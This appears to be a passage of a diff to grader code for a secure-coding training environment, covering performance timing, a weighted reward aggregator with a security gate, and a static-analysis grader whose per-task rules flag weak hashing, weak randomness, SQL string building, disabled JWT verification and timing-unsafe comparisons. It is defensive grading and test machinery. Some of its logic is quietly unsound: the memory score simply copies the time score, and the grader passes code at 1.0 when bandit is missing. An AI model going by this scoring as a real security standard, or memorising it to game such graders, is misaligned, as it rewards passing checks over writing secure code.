|
| 13 |
if not test_cases or not naive_code or not optimal_code:
|
| 14 |
+
return {"score": 0.6, "time_score": 0.6, "memory_score": 0.6,
|
| 15 |
+
"feedback": "No baselines defined — neutral score applied"}
|
| 16 |
|
|
|
|
| 17 |
tc = next((t for t in test_cases
|
| 18 |
if "fn" in t and "input" in t
|
| 19 |
and "fn_class" not in t
|
| 20 |
and "expected_exception" not in t), None)
|
|
|
|
| 21 |
if not tc:
|
| 22 |
+
return {"score": 0.6, "time_score": 0.6, "memory_score": 0.6,
|
| 23 |
+
"feedback": "No suitable test case — neutral score applied"}
|
| 24 |
|
| 25 |
fn_name = tc["fn"]
|
| 26 |
inputs = tc["input"]
|
| 27 |
|
| 28 |
try:
|
| 29 |
+
agent_ms = _measure_ms(code, fn_name, inputs)
|
| 30 |
+
naive_ms = _measure_ms(naive_code, fn_name, inputs)
|
| 31 |
+
optimal_ms = _measure_ms(optimal_code, fn_name, inputs)
|
| 32 |
+
|
| 33 |
+
# FIXED: if measurements indistinguishable, return neutral 0.6
|
| 34 |
+
if abs(naive_ms - optimal_ms) < 0.001:
|
| 35 |
+
return {"score": 0.6, "time_score": 0.6, "memory_score": 0.6,
|
| 36 |
+
"agent_ms": round(agent_ms, 3),
|
| 37 |
+
"naive_ms": round(naive_ms, 3),
|
| 38 |
+
"optimal_ms": round(optimal_ms, 3),
|
| 39 |
+
"feedback": "Functions too fast to differentiate — neutral score"}
|
| 40 |
|
|
|
|
| 41 |
time_range = max(naive_ms - optimal_ms, 0.01)
|
| 42 |
raw = 1.0 - ((agent_ms - optimal_ms) / time_range)
|
| 43 |
time_score = max(0.0, min(1.0, raw))
|
| 44 |
+
combined = round((time_score * 0.7) + (time_score * 0.3), 4)
|
| 45 |
|
|
|
|
| 46 |
return {
|
| 47 |
"score": combined,
|
| 48 |
"time_score": round(time_score, 4),
|
| 49 |
+
"memory_score": round(time_score, 4),
|
| 50 |
+
"agent_ms": round(agent_ms, 3),
|
| 51 |
+
"naive_ms": round(naive_ms, 3),
|
| 52 |
"optimal_ms": round(optimal_ms, 3),
|
| 53 |
+
"feedback": _feedback(combined),
|
| 54 |
}
|
| 55 |
except Exception as e:
|
| 56 |
+
return {"score": 0.6, "time_score": 0.6, "memory_score": 0.6,
|
| 57 |
+
"feedback": f"Measurement error: {str(e)[:60]}"}
|
| 58 |
|
| 59 |
|
| 60 |
+
def _measure_ms(code: str, fn_name: str, inputs: list, runs: int = 50) -> float:
|
|
|
|
| 61 |
script = f"""
|
| 62 |
import timeit, json, sys
|
|
|
|
| 63 |
{code}
|
|
|
|
| 64 |
def _run():
|
| 65 |
{fn_name}(*{json.dumps(inputs)})
|
|
|
|
| 66 |
times = timeit.repeat(_run, number={runs}, repeat=5)
|
| 67 |
+
best = min(times) / {runs} * 1000
|
| 68 |
sys.stdout.write(json.dumps({{"ms": best}}) + "\\n")
|
| 69 |
sys.stdout.flush()
|
| 70 |
"""
|
|
|
|
| 72 |
try:
|
| 73 |
with tempfile.NamedTemporaryFile(mode="w", suffix=".py",
|
| 74 |
delete=False, prefix="sce_perf_") as f:
|
| 75 |
+
f.write(script); tmp = f.name
|
| 76 |
+
proc = subprocess.run([sys.executable, tmp],
|
| 77 |
+
capture_output=True, text=True, timeout=30)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 78 |
for line in reversed(proc.stdout.strip().splitlines()):
|
| 79 |
line = line.strip()
|
| 80 |
if line.startswith("{"):
|
| 81 |
return json.loads(line)["ms"]
|
| 82 |
+
return -1.0 # Signal unmeasurable
|
| 83 |
except Exception:
|
| 84 |
+
return -1.0
|
| 85 |
finally:
|
| 86 |
if tmp and os.path.exists(tmp):
|
| 87 |
try: os.unlink(tmp)
|
| 88 |
except OSError: pass
|
| 89 |
|
| 90 |
|
| 91 |
+
def _feedback(score: float) -> str:
|
| 92 |
if score >= 0.9: return "Excellent — near-optimal efficiency"
|
| 93 |
elif score >= 0.7: return "Good — minor optimisation possible"
|
| 94 |
elif score >= 0.5: return "Acceptable — room for improvement"
|
| 95 |
+
else: return "Poor — significant performance gap vs optimal"
|
graders/reward_aggregator.py
CHANGED
|
@@ -1,4 +1,14 @@
|
|
| 1 |
-
"""
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2 |
from graders.correctness import grade_correctness
|
| 3 |
from graders.attacks import grade_attacks
|
| 4 |
from graders.static_analysis import grade_static_analysis
|
|
@@ -8,17 +18,31 @@ from graders.documentation import grade_documentation, grade_code_structure
|
|
| 8 |
from codegraph.extractor import extract_metadata
|
| 9 |
from codegraph.graph import CodeGraph
|
| 10 |
|
|
|
|
| 11 |
WEIGHTS = {
|
| 12 |
-
"correctness": 0.
|
| 13 |
-
"attack_resist": 0.
|
| 14 |
-
"static_security": 0.
|
| 15 |
-
"consistency": 0.
|
| 16 |
-
"performance": 0.
|
| 17 |
-
"documentation": 0.
|
| 18 |
-
"code_structure": 0.05,
|
| 19 |
}
|
| 20 |
assert abs(sum(WEIGHTS.values()) - 1.0) < 1e-9
|
| 21 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 22 |
|
| 23 |
def grade_submission(code, filename, task, graph, step, seed):
|
| 24 |
corr = grade_correctness(code, task)
|
|
@@ -39,8 +63,22 @@ def grade_submission(code, filename, task, graph, step, seed):
|
|
| 39 |
"code_structure": struct["score"],
|
| 40 |
}
|
| 41 |
|
| 42 |
-
|
| 43 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 44 |
|
| 45 |
feedback = {
|
| 46 |
"correctness": corr.get("feedback", ""),
|
|
@@ -50,41 +88,51 @@ def grade_submission(code, filename, task, graph, step, seed):
|
|
| 50 |
"performance": perf.get("feedback", ""),
|
| 51 |
"documentation": doc.get("feedback", ""),
|
| 52 |
"code_structure": struct.get("feedback", ""),
|
| 53 |
-
"summary": _summary(total_reward, scores),
|
|
|
|
| 54 |
}
|
| 55 |
|
| 56 |
details = {
|
| 57 |
"correctness": {"passed": corr.get("passed"), "total": corr.get("total")},
|
| 58 |
-
"attacks": {
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
|
| 65 |
-
},
|
| 66 |
}
|
| 67 |
|
| 68 |
return {
|
| 69 |
"scores": scores,
|
| 70 |
"total_reward": total_reward,
|
|
|
|
| 71 |
"feedback": feedback,
|
| 72 |
"details": details,
|
| 73 |
-
"agent_ms":
|
| 74 |
-
"naive_ms":
|
| 75 |
"optimal_ms": perf.get("optimal_ms"),
|
| 76 |
"new_metadata": extract_metadata(code, filename, step),
|
| 77 |
}
|
| 78 |
|
| 79 |
|
| 80 |
-
def
|
| 81 |
-
|
| 82 |
-
|
| 83 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 84 |
weakest = min(scores, key=scores.get)
|
| 85 |
return f"🟡 Good ({reward:.3f}) — improve: {weakest} ({scores[weakest]:.2f})"
|
| 86 |
-
|
| 87 |
weak = [k for k, v in scores.items() if v < 0.5]
|
| 88 |
return f"🟠 Needs work ({reward:.3f}) — fix: {', '.join(weak[:3])}"
|
| 89 |
-
|
| 90 |
-
return f"🔴 Poor ({reward:.3f}) — major security/correctness failures"
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
SecureCodeEnv - Reward Aggregator v3
|
| 3 |
+
|
| 4 |
+
KEY CHANGES:
|
| 5 |
+
1. SECURITY GATE: episode cannot be DONE unless attack_resist >= 0.75
|
| 6 |
+
AND static_security >= 0.70. Prevents insecure code from "winning".
|
| 7 |
+
2. Weights rebalanced: static_security raised, performance lowered.
|
| 8 |
+
3. DONE threshold raised to 0.92.
|
| 9 |
+
4. Security floor penalty: if attack_resist < 0.5 OR static_security < 0.5,
|
| 10 |
+
total reward is capped at 0.65 (cannot fool the system with correctness alone).
|
| 11 |
+
"""
|
| 12 |
from graders.correctness import grade_correctness
|
| 13 |
from graders.attacks import grade_attacks
|
| 14 |
from graders.static_analysis import grade_static_analysis
|
|
|
|
| 18 |
from codegraph.extractor import extract_metadata
|
| 19 |
from codegraph.graph import CodeGraph
|
| 20 |
|
| 21 |
+
# REBALANCED weights — security dimensions raised
|
| 22 |
WEIGHTS = {
|
| 23 |
+
"correctness": 0.25, # was 0.30 — still most important
|
| 24 |
+
"attack_resist": 0.25, # was 0.20 — raised: must resist real attacks
|
| 25 |
+
"static_security": 0.20, # was 0.15 — raised: must pass static analysis
|
| 26 |
+
"consistency": 0.10, # was 0.15 — reduced
|
| 27 |
+
"performance": 0.08, # was 0.10 — reduced (too noisy)
|
| 28 |
+
"documentation": 0.07, # was 0.05
|
| 29 |
+
"code_structure": 0.05, # unchanged
|
| 30 |
}
|
| 31 |
assert abs(sum(WEIGHTS.values()) - 1.0) < 1e-9
|
| 32 |
|
| 33 |
+
# Security gate: these minimums must ALL be met for episode to be DONE
|
| 34 |
+
SECURITY_GATE = {
|
| 35 |
+
"attack_resist": 0.75, # Must block >= 75% of attacks
|
| 36 |
+
"static_security": 0.70, # Must pass >= 70% of static checks
|
| 37 |
+
"correctness": 0.80, # Must pass >= 80% of tests
|
| 38 |
+
}
|
| 39 |
+
DONE_THRESHOLD = 0.92 # Raised from 0.90
|
| 40 |
+
|
| 41 |
+
# Security floor: if security is critically low, cap total reward
|
| 42 |
+
SECURITY_FLOOR_DIMS = ["attack_resist", "static_security"]
|
| 43 |
+
SECURITY_FLOOR_THRESHOLD = 0.50
|
| 44 |
+
SECURITY_FLOOR_CAP = 0.65
|
| 45 |
+
|
| 46 |
|
| 47 |
def grade_submission(code, filename, task, graph, step, seed):
|
| 48 |
corr = grade_correctness(code, task)
|
|
|
|
| 63 |
"code_structure": struct["score"],
|
| 64 |
}
|
| 65 |
|
| 66 |
+
raw_reward = sum(scores[k] * WEIGHTS[k] for k in WEIGHTS)
|
| 67 |
+
|
| 68 |
+
# SECURITY FLOOR: insecure code is capped regardless of correctness
|
| 69 |
+
security_critical_fail = any(
|
| 70 |
+
scores[dim] < SECURITY_FLOOR_THRESHOLD
|
| 71 |
+
for dim in SECURITY_FLOOR_DIMS
|
| 72 |
+
)
|
| 73 |
+
if security_critical_fail:
|
| 74 |
+
raw_reward = min(raw_reward, SECURITY_FLOOR_CAP)
|
| 75 |
+
|
| 76 |
+
total_reward = round(max(0.0, min(1.0, raw_reward)), 4)
|
| 77 |
+
|
| 78 |
+
# SECURITY GATE for done determination
|
| 79 |
+
gate_passed = all(scores[dim] >= threshold
|
| 80 |
+
for dim, threshold in SECURITY_GATE.items())
|
| 81 |
+
done_eligible = total_reward >= DONE_THRESHOLD and gate_passed
|
| 82 |
|
| 83 |
feedback = {
|
| 84 |
"correctness": corr.get("feedback", ""),
|
|
|
|
| 88 |
"performance": perf.get("feedback", ""),
|
| 89 |
"documentation": doc.get("feedback", ""),
|
| 90 |
"code_structure": struct.get("feedback", ""),
|
| 91 |
+
"summary": _summary(total_reward, scores, gate_passed),
|
| 92 |
+
"security_gate": "PASSED" if gate_passed else _gate_status(scores),
|
| 93 |
}
|
| 94 |
|
| 95 |
details = {
|
| 96 |
"correctness": {"passed": corr.get("passed"), "total": corr.get("total")},
|
| 97 |
+
"attacks": {"blocked": atk.get("blocked"), "total": atk.get("total"),
|
| 98 |
+
"type": atk.get("attack_type")},
|
| 99 |
+
"static": {"bandit_score": stat.get("bandit_score"),
|
| 100 |
+
"hard_fail": stat.get("hard_fail", False),
|
| 101 |
+
"issues": stat.get("issues", [])[:3]},
|
| 102 |
+
"security_gate_passed": gate_passed,
|
| 103 |
+
"done_eligible": done_eligible,
|
|
|
|
| 104 |
}
|
| 105 |
|
| 106 |
return {
|
| 107 |
"scores": scores,
|
| 108 |
"total_reward": total_reward,
|
| 109 |
+
"done_eligible": done_eligible,
|
| 110 |
"feedback": feedback,
|
| 111 |
"details": details,
|
| 112 |
+
"agent_ms": perf.get("agent_ms"),
|
| 113 |
+
"naive_ms": perf.get("naive_ms"),
|
| 114 |
"optimal_ms": perf.get("optimal_ms"),
|
| 115 |
"new_metadata": extract_metadata(code, filename, step),
|
| 116 |
}
|
| 117 |
|
| 118 |
|
| 119 |
+
def _gate_status(scores: dict) -> str:
|
| 120 |
+
failing = [f"{dim} ({scores[dim]:.2f} < {thr})"
|
| 121 |
+
for dim, thr in SECURITY_GATE.items()
|
| 122 |
+
if scores[dim] < thr]
|
| 123 |
+
return f"BLOCKED — security gate not met: {', '.join(failing)}"
|
| 124 |
+
|
| 125 |
+
|
| 126 |
+
def _summary(reward, scores, gate_passed):
|
| 127 |
+
if reward >= DONE_THRESHOLD and gate_passed:
|
| 128 |
+
return f"✅ Excellent ({reward:.3f}) — production-ready, security gate passed"
|
| 129 |
+
if not gate_passed:
|
| 130 |
+
gate_msg = _gate_status(scores)
|
| 131 |
+
return f"🔒 {gate_msg} (reward: {reward:.3f})"
|
| 132 |
+
if reward >= 0.75:
|
| 133 |
weakest = min(scores, key=scores.get)
|
| 134 |
return f"🟡 Good ({reward:.3f}) — improve: {weakest} ({scores[weakest]:.2f})"
|
| 135 |
+
if reward >= 0.55:
|
| 136 |
weak = [k for k, v in scores.items() if v < 0.5]
|
| 137 |
return f"🟠 Needs work ({reward:.3f}) — fix: {', '.join(weak[:3])}"
|
| 138 |
+
return f"🔴 Poor ({reward:.3f}) — major security/correctness failures"
|
|
|
graders/static_analysis.py
CHANGED
|
@@ -1,206 +1,218 @@
|
|
| 1 |
"""
|
| 2 |
-
SecureCodeEnv - Static Analysis Grader
|
| 3 |
-
|
| 4 |
-
|
|
|
|
|
|
|
|
|
|
| 5 |
"""
|
| 6 |
-
import subprocess
|
| 7 |
-
import json
|
| 8 |
-
import tempfile
|
| 9 |
-
import os
|
| 10 |
-
import ast
|
| 11 |
|
| 12 |
|
| 13 |
def grade_static_analysis(code: str, task: dict) -> dict:
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
Returns:
|
| 18 |
-
{
|
| 19 |
-
"score": float 0.0-1.0,
|
| 20 |
-
"bandit_score": float,
|
| 21 |
-
"ast_score": float,
|
| 22 |
-
"issues": list,
|
| 23 |
-
"feedback": str
|
| 24 |
-
}
|
| 25 |
-
"""
|
| 26 |
-
bandit_result = _run_bandit(code)
|
| 27 |
-
ast_result = _run_ast_checks(code, task)
|
| 28 |
|
| 29 |
-
#
|
| 30 |
-
|
|
|
|
|
|
|
|
|
|
| 31 |
|
| 32 |
-
all_issues =
|
| 33 |
|
| 34 |
return {
|
| 35 |
-
"score": round(
|
| 36 |
-
"bandit_score":
|
| 37 |
-
"ast_score":
|
| 38 |
-
"
|
| 39 |
-
"
|
|
|
|
| 40 |
}
|
| 41 |
|
| 42 |
|
| 43 |
def _run_bandit(code: str) -> dict:
|
| 44 |
-
|
| 45 |
-
tmp_path = None
|
| 46 |
try:
|
| 47 |
-
with tempfile.NamedTemporaryFile(
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
f.write(code)
|
| 51 |
-
tmp_path = f.name
|
| 52 |
-
|
| 53 |
-
result = subprocess.run(
|
| 54 |
-
["bandit", "-r", tmp_path, "-f", "json", "-q", "--exit-zero"],
|
| 55 |
-
capture_output=True, text=True, timeout=15,
|
| 56 |
-
)
|
| 57 |
-
|
| 58 |
-
try:
|
| 59 |
-
data = json.loads(result.stdout or '{"results":[]}')
|
| 60 |
-
except json.JSONDecodeError:
|
| 61 |
-
return {"score": 1.0, "issues": [], "note": "bandit output parse error"}
|
| 62 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 63 |
issues = data.get("results", [])
|
|
|
|
|
|
|
| 64 |
penalty = 0.0
|
| 65 |
-
for
|
| 66 |
-
sev =
|
| 67 |
-
if sev == "HIGH":
|
| 68 |
-
|
| 69 |
-
|
| 70 |
-
penalty += 0.15
|
| 71 |
-
else:
|
| 72 |
-
penalty += 0.05
|
| 73 |
|
| 74 |
score = max(0.0, 1.0 - penalty)
|
| 75 |
return {
|
| 76 |
"score": round(score, 4),
|
| 77 |
-
"issues": [
|
| 78 |
-
|
| 79 |
-
|
| 80 |
-
"text": i.get("issue_text", "")[:100],
|
| 81 |
-
"line": i.get("line_number"),
|
| 82 |
-
"cwe": i.get("issue_cwe", {}).get("id") if isinstance(i.get("issue_cwe"), dict) else None,
|
| 83 |
-
}
|
| 84 |
-
for i in issues[:5]
|
| 85 |
-
],
|
| 86 |
}
|
| 87 |
except FileNotFoundError:
|
| 88 |
-
|
| 89 |
-
return {"score": 1.0, "issues": [], "note": "bandit not available"}
|
| 90 |
-
except subprocess.TimeoutExpired:
|
| 91 |
-
return {"score": 0.8, "issues": [], "note": "bandit timed out"}
|
| 92 |
except Exception as e:
|
| 93 |
-
return {"score": 1.0, "issues": [], "note":
|
| 94 |
finally:
|
| 95 |
-
if
|
| 96 |
-
try:
|
| 97 |
-
|
| 98 |
-
|
| 99 |
-
|
| 100 |
-
|
| 101 |
-
|
| 102 |
-
|
| 103 |
-
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 107 |
issues = []
|
|
|
|
| 108 |
checks_passed = 0
|
| 109 |
total_checks = 0
|
| 110 |
|
| 111 |
-
# Generic
|
| 112 |
-
|
| 113 |
-
("no_eval", ["eval(", "exec("], "Dangerous eval/exec usage detected"),
|
| 114 |
-
("no_shell_true", ["shell=True"], "shell=True enables command injection"),
|
| 115 |
-
("no_pickle", ["pickle.loads", "pickle.load"], "Unsafe pickle deserialization"),
|
| 116 |
-
("no_yaml_unsafe", ["yaml.load(", "yaml.unsafe_load"], "Unsafe YAML load"),
|
| 117 |
-
("no_hardcoded_md5", ["hashlib.md5", "md5("], "Weak MD5 hash function"),
|
| 118 |
-
("no_hardcoded_sha1", ["hashlib.sha1", "sha1("], "Weak SHA1 hash function"),
|
| 119 |
-
]
|
| 120 |
-
|
| 121 |
-
for check_name, patterns, message in generic_checks:
|
| 122 |
total_checks += 1
|
| 123 |
-
found =
|
| 124 |
if found:
|
| 125 |
-
issues.append({"check":
|
|
|
|
| 126 |
else:
|
| 127 |
checks_passed += 1
|
| 128 |
|
| 129 |
-
# Task-specific
|
| 130 |
-
|
| 131 |
-
for
|
| 132 |
total_checks += 1
|
| 133 |
-
|
| 134 |
-
|
| 135 |
-
|
| 136 |
-
|
| 137 |
-
|
| 138 |
-
|
| 139 |
-
|
| 140 |
-
else:
|
| 141 |
-
checks_passed += 1
|
| 142 |
-
|
| 143 |
-
elif check_type == "uses_bcrypt":
|
| 144 |
-
if "bcrypt" in code:
|
| 145 |
-
checks_passed += 1
|
| 146 |
-
else:
|
| 147 |
-
issues.append({"check": "uses_bcrypt", "message": "bcrypt not used — passwords will be weakly hashed", "severity": "HIGH"})
|
| 148 |
-
|
| 149 |
-
elif check_type == "uses_secrets":
|
| 150 |
-
if "secrets" in code:
|
| 151 |
-
checks_passed += 1
|
| 152 |
-
else:
|
| 153 |
-
issues.append({"check": "uses_secrets", "message": "secrets module not used — randomness may be insecure", "severity": "MEDIUM"})
|
| 154 |
-
|
| 155 |
-
elif check_type == "no_weak_random":
|
| 156 |
-
forbidden = check.get("forbidden", ["random.random(", "random.randint("])
|
| 157 |
-
found = any(f in code for f in forbidden)
|
| 158 |
-
if found:
|
| 159 |
-
issues.append({"check": "weak_random", "message": "Weak PRNG (random module) used for security-sensitive operation", "severity": "HIGH"})
|
| 160 |
-
else:
|
| 161 |
-
checks_passed += 1
|
| 162 |
-
|
| 163 |
-
elif check_type == "no_string_format_sql":
|
| 164 |
-
forbidden = check.get("forbidden", [])
|
| 165 |
-
found = any(f in code for f in forbidden)
|
| 166 |
-
if found:
|
| 167 |
-
issues.append({"check": "sql_injection", "message": "String formatting used in SQL query — SQL injection risk", "severity": "HIGH"})
|
| 168 |
-
else:
|
| 169 |
-
checks_passed += 1
|
| 170 |
-
|
| 171 |
-
elif check_type == "uses_hmac_compare_digest":
|
| 172 |
-
if "hmac.compare_digest" in code:
|
| 173 |
-
checks_passed += 1
|
| 174 |
-
else:
|
| 175 |
-
issues.append({"check": "timing_attack", "message": "hmac.compare_digest not used — timing attack possible", "severity": "MEDIUM"})
|
| 176 |
-
|
| 177 |
-
elif check_type == "no_verify_false":
|
| 178 |
-
forbidden = check.get("forbidden", [])
|
| 179 |
-
found = any(f in code for f in forbidden)
|
| 180 |
-
if found:
|
| 181 |
-
issues.append({"check": "jwt_no_verify", "message": "JWT signature verification disabled", "severity": "HIGH"})
|
| 182 |
-
else:
|
| 183 |
-
checks_passed += 1
|
| 184 |
-
|
| 185 |
-
elif check_type == "algorithm_specified":
|
| 186 |
-
required = check.get("required", [])
|
| 187 |
-
found = any(r in code for r in required)
|
| 188 |
-
if found:
|
| 189 |
-
checks_passed += 1
|
| 190 |
-
else:
|
| 191 |
-
issues.append({"check": "jwt_alg", "message": "JWT algorithms= not specified — alg:none attack possible", "severity": "HIGH"})
|
| 192 |
|
| 193 |
score = checks_passed / max(total_checks, 1)
|
| 194 |
-
return {"score": round(score, 4), "issues": issues}
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
def
|
| 198 |
-
if
|
| 199 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 200 |
high = sum(1 for i in issues if i.get("severity") == "HIGH")
|
| 201 |
-
|
| 202 |
-
|
| 203 |
-
return f"{high} HIGH severity issue(s) found — immediate fix needed"
|
| 204 |
-
if medium > 0:
|
| 205 |
-
return f"{medium} MEDIUM severity issue(s) found — review recommended"
|
| 206 |
-
return f"Some minor issues found (score: {score:.2f})"
|
|
|
|
| 1 |
"""
|
| 2 |
+
SecureCodeEnv - Static Analysis Grader v3
|
| 3 |
+
|
| 4 |
+
FIXED:
|
| 5 |
+
- HIGH severity issues now cap the score at 0.40 max (was just subtracting 0.30)
|
| 6 |
+
- Task-specific security checks have hard caps when violated
|
| 7 |
+
- bandit penalty curve is steeper
|
| 8 |
"""
|
| 9 |
+
import subprocess, json, tempfile, os, ast, re
|
|
|
|
|
|
|
|
|
|
|
|
|
| 10 |
|
| 11 |
|
| 12 |
def grade_static_analysis(code: str, task: dict) -> dict:
|
| 13 |
+
bandit = _run_bandit(code)
|
| 14 |
+
custom = _run_custom_checks(code, task)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 15 |
|
| 16 |
+
# If a HARD security requirement is violated, cap at 0.40 regardless of bandit
|
| 17 |
+
if custom.get("hard_fail"):
|
| 18 |
+
final_score = min(bandit["score"] * 0.4, 0.40)
|
| 19 |
+
else:
|
| 20 |
+
final_score = (bandit["score"] * 0.60) + (custom["score"] * 0.40)
|
| 21 |
|
| 22 |
+
all_issues = bandit.get("issues", []) + custom.get("issues", [])
|
| 23 |
|
| 24 |
return {
|
| 25 |
+
"score": round(max(0.0, min(1.0, final_score)), 4),
|
| 26 |
+
"bandit_score": bandit["score"],
|
| 27 |
+
"ast_score": custom["score"],
|
| 28 |
+
"hard_fail": custom.get("hard_fail", False),
|
| 29 |
+
"issues": all_issues[:10],
|
| 30 |
+
"feedback": _feedback(final_score, all_issues, custom.get("hard_fail", False)),
|
| 31 |
}
|
| 32 |
|
| 33 |
|
| 34 |
def _run_bandit(code: str) -> dict:
|
| 35 |
+
tmp = None
|
|
|
|
| 36 |
try:
|
| 37 |
+
with tempfile.NamedTemporaryFile(mode="w", suffix=".py",
|
| 38 |
+
delete=False, prefix="sce_ban_") as f:
|
| 39 |
+
f.write(code); tmp = f.name
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
|
| 41 |
+
res = subprocess.run(
|
| 42 |
+
["bandit", "-r", tmp, "-f", "json", "-q", "--exit-zero"],
|
| 43 |
+
capture_output=True, text=True, timeout=15
|
| 44 |
+
)
|
| 45 |
+
data = json.loads(res.stdout or '{"results":[]}')
|
| 46 |
issues = data.get("results", [])
|
| 47 |
+
|
| 48 |
+
# Steeper penalty curve + cap at 3 HIGH issues = 0.0
|
| 49 |
penalty = 0.0
|
| 50 |
+
for i in issues:
|
| 51 |
+
sev = i.get("issue_severity", "LOW")
|
| 52 |
+
if sev == "HIGH": penalty += 0.40
|
| 53 |
+
elif sev == "MEDIUM": penalty += 0.20
|
| 54 |
+
else: penalty += 0.05
|
|
|
|
|
|
|
|
|
|
| 55 |
|
| 56 |
score = max(0.0, 1.0 - penalty)
|
| 57 |
return {
|
| 58 |
"score": round(score, 4),
|
| 59 |
+
"issues": [{"severity": i.get("issue_severity"),
|
| 60 |
+
"text": i.get("issue_text", "")[:100],
|
| 61 |
+
"line": i.get("line_number")} for i in issues[:5]],
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 62 |
}
|
| 63 |
except FileNotFoundError:
|
| 64 |
+
return {"score": 1.0, "issues": [], "note": "bandit not installed"}
|
|
|
|
|
|
|
|
|
|
| 65 |
except Exception as e:
|
| 66 |
+
return {"score": 1.0, "issues": [], "note": str(e)[:40]}
|
| 67 |
finally:
|
| 68 |
+
if tmp and os.path.exists(tmp):
|
| 69 |
+
try: os.unlink(tmp)
|
| 70 |
+
except OSError: pass
|
| 71 |
+
|
| 72 |
+
|
| 73 |
+
# Security requirements per task — violation = hard_fail (cap at 0.40)
|
| 74 |
+
HARD_REQUIREMENTS = {
|
| 75 |
+
"easy_password_validator": [
|
| 76 |
+
{"type": "forbidden_any", "patterns": ["hashlib.md5", "hashlib.sha1", "hashlib.sha256",
|
| 77 |
+
"md5(", "sha1(", "sha256("],
|
| 78 |
+
"message": "Weak hash function used — must use bcrypt"},
|
| 79 |
+
{"type": "forbidden_any", "patterns": ["random.random(", "random.randint("],
|
| 80 |
+
"message": "Insecure randomness"},
|
| 81 |
+
],
|
| 82 |
+
"easy_token_generator": [
|
| 83 |
+
{"type": "forbidden_any", "patterns": ["random.random(", "random.randint(",
|
| 84 |
+
"random.choice(", "random.seed("],
|
| 85 |
+
"message": "Weak PRNG used for token generation — must use secrets module"},
|
| 86 |
+
{"type": "required_any", "patterns": ["secrets"],
|
| 87 |
+
"message": "secrets module not imported"},
|
| 88 |
+
],
|
| 89 |
+
"medium_sql_query_builder": [
|
| 90 |
+
{"type": "forbidden_pattern",
|
| 91 |
+
"regex": r'f["\'].*SELECT.*{',
|
| 92 |
+
"message": "f-string SQL query — SQL injection vulnerability"},
|
| 93 |
+
{"type": "forbidden_pattern",
|
| 94 |
+
"regex": r'["\']\s*\+\s*(username|role|user_input|query)',
|
| 95 |
+
"message": "String concatenation in SQL — SQL injection vulnerability"},
|
| 96 |
+
{"type": "forbidden_pattern",
|
| 97 |
+
"regex": r'%\s*\(',
|
| 98 |
+
"message": "% formatting in SQL — potential injection"},
|
| 99 |
+
],
|
| 100 |
+
"medium_file_path_handler": [
|
| 101 |
+
{"type": "forbidden_any",
|
| 102 |
+
"patterns": ['"..\" in', "'..' in", '".." in', "\"..\" in"],
|
| 103 |
+
"message": "String check for '..' is bypassable — use Path.resolve()"},
|
| 104 |
+
{"type": "required_any",
|
| 105 |
+
"patterns": ["resolve()", ".resolve", "realpath"],
|
| 106 |
+
"message": "Must use os.path.realpath or Path.resolve() to prevent traversal"},
|
| 107 |
+
],
|
| 108 |
+
"hard_jwt_validator": [
|
| 109 |
+
{"type": "forbidden_any",
|
| 110 |
+
"patterns": ["verify_signature\": False", "verify_signature':False",
|
| 111 |
+
"verify_exp\": False", "algorithms=[\"none\"", "algorithms=['none'"],
|
| 112 |
+
"message": "JWT verification disabled — security bypass"},
|
| 113 |
+
{"type": "required_any",
|
| 114 |
+
"patterns": ["algorithms="],
|
| 115 |
+
"message": "algorithms= not specified — alg:none attack possible"},
|
| 116 |
+
],
|
| 117 |
+
"hard_auth_middleware": [
|
| 118 |
+
{"type": "required_any",
|
| 119 |
+
"patterns": ["hmac.compare_digest"],
|
| 120 |
+
"message": "hmac.compare_digest not used — timing attack possible"},
|
| 121 |
+
{"type": "forbidden_pattern",
|
| 122 |
+
"regex": r'==\s*(session_token|request_token|secret|token)',
|
| 123 |
+
"message": "== used for secret comparison — timing attack"},
|
| 124 |
+
],
|
| 125 |
+
"easy_input_sanitizer": [
|
| 126 |
+
{"type": "forbidden_any",
|
| 127 |
